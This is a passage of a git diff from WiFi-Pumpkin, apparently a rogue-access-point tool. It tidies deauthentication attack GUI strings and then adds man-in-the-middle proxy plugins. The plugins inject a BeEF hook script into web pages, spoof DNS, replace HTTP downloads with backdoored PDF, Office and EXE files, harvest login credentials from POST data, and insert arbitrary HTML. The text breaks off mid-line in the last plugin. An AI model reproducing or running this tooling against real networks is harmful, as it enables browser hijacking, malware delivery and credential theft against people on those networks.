self.btn_stop = QPushButton("Stop Attack ", self)
self.btn_stop.clicked.connect(self.kill_thread)
- self.btn_scan_stop = QPushButton('Stop scan',self)
+ self.btn_scan_stop = QPushButton('Stop Scan',self)
self.btn_scan_stop.clicked.connect(self.kill_scanAP)
self.btn_enviar.setFixedWidth(170)
self.btn_stop.setFixedWidth(170)
@@ -143,7 +143,7 @@ def window_qt(self):
self.GroupBoxSettings = QGroupBox()
self.layoutGroupST = QVBoxLayout()
self.GroupBoxSettings.setLayout(self.layoutGroupST)
- self.GroupBoxSettings.setTitle('settings:')
+ self.GroupBoxSettings.setTitle('Settings:')
self.layoutGroupST.addWidget(QLabel('Target:'))
self.layoutGroupST.addWidget(self.linetarget)
self.layoutGroupST.addWidget(QLabel('Options:'))
@@ -165,8 +165,8 @@ def window_qt(self):
def get_event_checkbox_client(self):
if self.configure.Settings.get_setting('settings','deauth') == 'packets_mdk3':
QMessageBox.warning(self,'mdk3 Deauth',
- 'mdk3 Deauth not have this options, you can set custom '
- 'client deauth on modules->settings->Advanced tab (mdk3 args option) ')
+ 'mdk3 Deauth not have these options, you can set custom '
+ 'client deauth on Modules->Settings->Advanced tab (mdk3 args option) ')
return self.checkbox_client.setCheckable(False)
if self.checkbox_client.isChecked():
self.input_client.setEnabled(True)
@@ -231,7 +231,7 @@ def SettingsScan(self):
self.ApsCaptured = {}
self.data = {'Bssid':[], 'Essid':[], 'Channel':[]}
if self.get_placa.currentText() == "":
- QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.')
+ QMessageBox.information(self, "Network Adapter", 'Network Adapter is not found. Try again.')
else:
self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable())
self.btn_scan_stop.setEnabled(True)
@@ -261,7 +261,7 @@ def attack_deauth(self):
if self.thread_airodump.isAlive():
return QMessageBox.warning(self,'scanner','you need to stop the scanner Access Point')
if self.linetarget.text() == '':
- return QMessageBox.warning(self, 'Target Error', 'Please, first select Target for attack')
+ return QMessageBox.warning(self, 'Target Error', 'Please select a target to attack')
# get args for thread attack
self.btn_stop.setEnabled(True)
self.btn_enviar.setEnabled(False)
@@ -308,4 +308,4 @@ def list_clicked(self, index):
self.linetarget.setText(str(i))
if self.linetarget.text() == '':
QMessageBox.information(self, 'MacAddress',
- 'Error check the Mac Target, please set the mac valid.')
+ 'Please select a valid MAC Address as target.')
diff --git a/plugins/extension/__init__.py b/plugins/extension/__init__.py
new file mode 100644
index 0000000..f8d8359
--- /dev/null
+++ b/plugins/extension/__init__.py
@@ -0,0 +1,5 @@
+#Hack grabbed from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python
+#Has to be a cleaner way to do this, but it works for now
+import os
+import glob
+__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")]
\ No newline at end of file
diff --git a/plugins/extension/beef.py b/plugins/extension/beef.py
new file mode 100644
index 0000000..23a89b2
--- /dev/null
+++ b/plugins/extension/beef.py
@@ -0,0 +1,56 @@
+from bs4 import BeautifulSoup
+from mitmproxy.models import decoded
+from plugins.extension.plugin import PluginTemplate
+
+"""
+Description:
+ This program is a core for wifi-pumpkin.py. file which includes functionality
+ plugins for Pumpkin-Proxy.
+
+Copyright:
+ Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see
+"""
+
+class beef(PluginTemplate):
+ meta = {
+ 'Name' : 'beef',
+ 'Version' : '1.0',
+ 'Description' : 'this module proxy inject hook beef api url.[Hook URL]',
+ 'Author' : 'Marcos Nesster'
+ }
+ def __init__(self):
+ for key,value in self.meta.items():
+ self.__dict__[key] = value
+ self.ConfigParser = True
+ self.urlhook = self.config.get_setting('set_beef','hook')
+
+ def request(self, flow):
+ pass
+
+ def response(self,flow):
+ with decoded(flow.response): # Remove content encoding (gzip, ...)
+ html = BeautifulSoup(flow.response.content)
+ """
+ # To Allow CORS
+ if "Content-Security-Policy" in flow.response.headers:
+ del flow.response.headers["Content-Security-Policy"]
+ """
+ if html.body:
+ script = html.new_tag(
+ 'script',
+ src=self.urlhook)
+ html.body.insert(0, script)
+ flow.response.content = str(html)
+ self.send_output.emit("[{}] Injected BeFF url hook...".format(self.Name))
\ No newline at end of file
diff --git a/plugins/extension/dnsspoof.py b/plugins/extension/dnsspoof.py
new file mode 100644
index 0000000..50e6fc3
--- /dev/null
+++ b/plugins/extension/dnsspoof.py
@@ -0,0 +1,73 @@
+import re
+from ast import literal_eval
+from plugins.extension.plugin import PluginTemplate
+
+"""
+Description:
+ This program is a core for wifi-pumpkin.py. file which includes functionality
+ plugins for Pumpkin-Proxy.
+
+Copyright:
+ Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see
+"""
+
+parse_host_header = re.compile(r"^(?P[^:]+|\[.+\])(?::(?P\d+))?$")
+
+class DNSspoof(PluginTemplate):
+ meta = {
+ 'Name' : 'dnsspoof',
+ 'Version' : '1.0',
+ 'Description' : 'directing a Domain Name Server (DNS) and all of its requests.',
+ 'Author' : 'Marcos Nesster',
+ }
+
+ def __init__(self):
+ for key,value in self.meta.items():
+ self.__dict__[key] = value
+ self.dict_domain = {}
+ self.ConfigParser = True
+ self.getAllDomainToredict()
+
+ def getAllDomainToredict(self):
+ self.domains = self.config.get_all_childname('set_dnsspoof')
+ for item in self.domains:
+ if item.startswith('domain'):
+ indomain = literal_eval(str(self.config.get_setting('set_dnsspoof',item)))
+ self.dict_domain.update(indomain)
+
+ def request(self, flow):
+ for domain in self.dict_domain.keys():
+ if re.search(domain,flow.request.pretty_host):
+ if flow.client_conn.ssl_established:
+ flow.request.scheme = "https"
+ sni = flow.client_conn.connection.get_servername()
+ port = 443
+ else:
+ flow.request.scheme = "http"
+ sni = None
+ port = 80
+
+ host_header = flow.request.pretty_host
+ m = parse_host_header.match(host_header)
+ if m:
+ host_header = m.group("host").strip("[]")
+ if m.group("port"):
+ port = int(m.group("port"))
+ flow.request.port = port
+ flow.request.host = self.dict_domain[domain]
+ self.send_output.emit('[dnsspoof]:: {} spoofed DNS response'.format(domain))
+
+ def response(self, flow):
+ pass
\ No newline at end of file
diff --git a/plugins/extension/downloadspoof.py b/plugins/extension/downloadspoof.py
new file mode 100644
index 0000000..3e3dd23
--- /dev/null
+++ b/plugins/extension/downloadspoof.py
@@ -0,0 +1,66 @@
+from os import path
+from mitmproxy.models import decoded
+from plugins.extension.plugin import PluginTemplate
+
+"""
+Description:
+ This program is a core for wifi-pumpkin.py. file which includes functionality
+ plugins for Pumpkin-Proxy.
+
+Copyright:
+ Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see
+"""
+
+exe_mimetypes = ['application/octet-stream', 'application/x-msdownload',
+'application/exe', 'application/x-exe', 'application/dos-exe', 'vms/exe',
+'application/x-winexe', 'application/msdos-windows', 'application/x-msdos-program']
+
+class downloadspoof(PluginTemplate):
+ meta = {
+ 'Name' : 'downloadspoof',
+ 'Version' : '1.0',
+ 'Description' : 'Replace files being downloaded via HTTP with malicious versions.',
+ 'Author' : 'Marcos Nesster'
+ }
+ def __init__(self):
+ for key,value in self.meta.items():
+ self.__dict__[key] = value
+ self.ConfigParser = True
+ self.payloads = {
+ 'application/pdf': self.config.get_setting('set_downloadspoof','backdoorPDFpath'),
+ 'application/msword': self.config.get_setting('set_downloadspoof','backdoorWORDpath'),
+ 'application/x-msexcel' : self.config.get_setting('set_downloadspoof','backdoorXLSpath'),
+ }
+ for mime in exe_mimetypes:
+ self.payloads[mime] = self.config.get_setting('set_downloadspoof','backdoorExePath')
+
+ def request(self, flow):
+ pass
+
+ def response(self, flow):
+ try:
+ # for another format file types
+ content = flow.response.headers['Content-Type']
+ if content in self.payloads:
+ if path.isfile(self.payloads[content]):
+ with decoded(flow.response):
+ self.send_output.emit('[downloadspoof]:: URL: {}'.format(flow.request.url))
+ self.send_output.emit("[downloadspoof]:: Replaced file of mimtype {} with malicious version".format(content))
+ flow.response.content = open(self.payloads[content],'rb').read()
+ self.send_output.emit('[downloadspoof]:: Patching complete, forwarding to user...')
+ return
+ self.send_output.emit('[downloadspoof]:: {}, Error Path file not found\n'.format(self.payloads[content]))
+ except Exception as e:
+ pass
\ No newline at end of file
diff --git a/plugins/extension/dump_post_data.py b/plugins/extension/dump_post_data.py
new file mode 100644
index 0000000..4ea5d07
--- /dev/null
+++ b/plugins/extension/dump_post_data.py
@@ -0,0 +1,85 @@
+from plugins.extension.plugin import PluginTemplate
+from mitmproxy.models import decoded
+from PyQt4.QtCore import QObject,pyqtSignal
+import re
+
+"""
+Description:
+ This program is a core for wifi-pumpkin.py. file which includes functionality
+ plugins for Pumpkin-Proxy.
+
+Copyright:
+ Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see
+"""
+
+class dump_post_data(PluginTemplate):
+ meta = {
+ 'Name' : 'dump_post_data',
+ 'Version' : '1.0',
+ 'Description' : 'Getting HTTP post data capture login post and logout pre event hook and its its working in web',
+ 'Author' : 'Marcos Nesster'
+ }
+ def __init__(self):
+ for key,value in self.meta.items():
+ self.__dict__[key] = value
+ self.ConfigParser = False
+
+ def get_password_POST(self, content):
+ user = None
+ passwd = None
+
+ # Taken mainly from Pcredz by Laurent Gaffie
+ userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name',
+ 'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',
+ 'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',
+ 'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username',
+ 'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in']
+ passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword',
+ 'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password'
+ 'passwort', 'passwrd', 'wppassword', 'upasswd']
+
+ for login in userfields:
+ login_re = re.search('(%s=[^&]+)' % login, content, re.IGNORECASE)
+ if login_re:
+ user = login_re.group()
+ for passfield in passfields:
+ pass_re = re.search('(%s=[^&]+)' % passfield, content, re.IGNORECASE)
+ if pass_re:
+ passwd = pass_re.group()
+
+ if user and passwd:
+ return (user, passwd)
+
+ def request(self, flow):
+ self.send_output.emit("FOR: " + flow.request.url +" "+ flow.request.method + " " + flow.request.path + " " + flow.request.http_version)
+ with decoded(flow.request):
+ user_passwd = self.get_password_POST(flow.request.content)
+ if user_passwd != None:
+ try:
+ http_user = user_passwd[0].decode('utf8')
+ http_pass = user_passwd[1].decode('utf8')
+ # Set a limit on how long they can be prevent false+
+ if len(http_user) > 75 or len(http_pass) > 75:
+ return
+ self.send_output.emit("\n[{}][HTTP REQUEST HEADERS]\n".format(self.Name))
+ for name, valur in flow.request.headers.iteritems():
+ self.send_output.emit('{}: {}'.format(name,valur))
+ self.send_output.emit( 'HTTP username: %s' % http_user)
+ self.send_output.emit( 'HTTP password: %s\n' % http_pass)
+ except UnicodeDecodeError:
+ pass
+
+ def response(self, flow):
+ pass
\ No newline at end of file
diff --git a/plugins/extension/html_inject.py b/plugins/extension/html_inject.py
new file mode 100644
index 0000000..69f0daf
--- /dev/null
+++ b/plugins/extension/html_inject.py
@@ -0,0 +1,63 @@
+from os import path
+from bs4 import BeautifulSoup
+from mitmproxy.models import decoded
+from plugins.extension.plugin import PluginTemplate
+
+"""
+Description:
+ This program is a core for wifi-pumpkin.py. file which includes functionality
+ plugins for Pumpkin-Proxy.
+
+Copyright:
+ Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see
+"""
+
+class html_inject(PluginTemplate):
+ meta = {
+ 'Name' : 'html_inject',
+ 'Version' : '1.0',
+ 'Description' : 'inject arbitrary HTML code into a vulnerable web page.',
+ 'Author' : 'Marcos Nesster'
+ }
+ def __init__(self):
+ for key,value in self.meta.items():
+ self.__dict__[key] = value
+ self.ConfigParser = True
+ self.filehtml = self.config.get_setting('set_html_inject','content_path')
+ self.isfilePath = False
+ if path.isfile(self.filehtml):
+ self.isfilePath = True
+ self.content = open(self.filehtml,'r').read()
+ def request(self, flow):
+ pass
+
+ def response(self,flow):
+ if self.isfilePath:
+ with decoded(flow.response): # Remove content encoding (gzip, ...)
+ html = BeautifulSoup(flow.response.content.decode('utf-8', 'ignore'))
+ """
+ # To Allow CORS
+ if "Content-Security-Policy" in flow.response.headers:
+ del flow.response.headers["Content-Security-Policy"]
+ """
+ if html.body:
+ temp_soup = BeautifulSoup(self.content)
+ div_tag = temp_soup.html.body.contents[0]
+
+ html.body.insert(len(html.body.contents), div_tag)
+ flow.response.content = str(html)
+ self.send_output.emit("[{}] [Request]: {} | injected ".format(self.Name,flow.request.pretty_host))
+ return
+ self.send_output.emit("[{}] Error Path file not found ".format(self.Name))
\ No newline at end of file
diff --git a/plugins/extension/inverted_internet.py b/plugins/extension/inverted_internet.py
new file mode 100644
index 0000000..847ad12
--- /dev/null
+++ b/plugins/extension/inverted_internet.py
@@ -0,0 +1,26 @@
+from mitmproxy.models import decoded
+from plugins.extension.plugin import PluginTemplate
+
+class inverted_internet(PluginTemplate):
+ meta = {
+ 'Name' : 'inverted_internet',
+ 'Version' : '1.0',
+ 'Description' : 'add style html for inverte body content.',
+ 'Author' : 'David @davoclavo'
+ }
+ def __init__(self):
+ for key,value in self.meta.items():
+ self.__dict__[key] = value
+ self.ConfigParser = False
+
+ def request(self, flow):
+ pass
+
+ def response(self, flow):
+ with decoded(flow.response):
+ if flow.response.content:
+ c = flow.response.content.replace('', '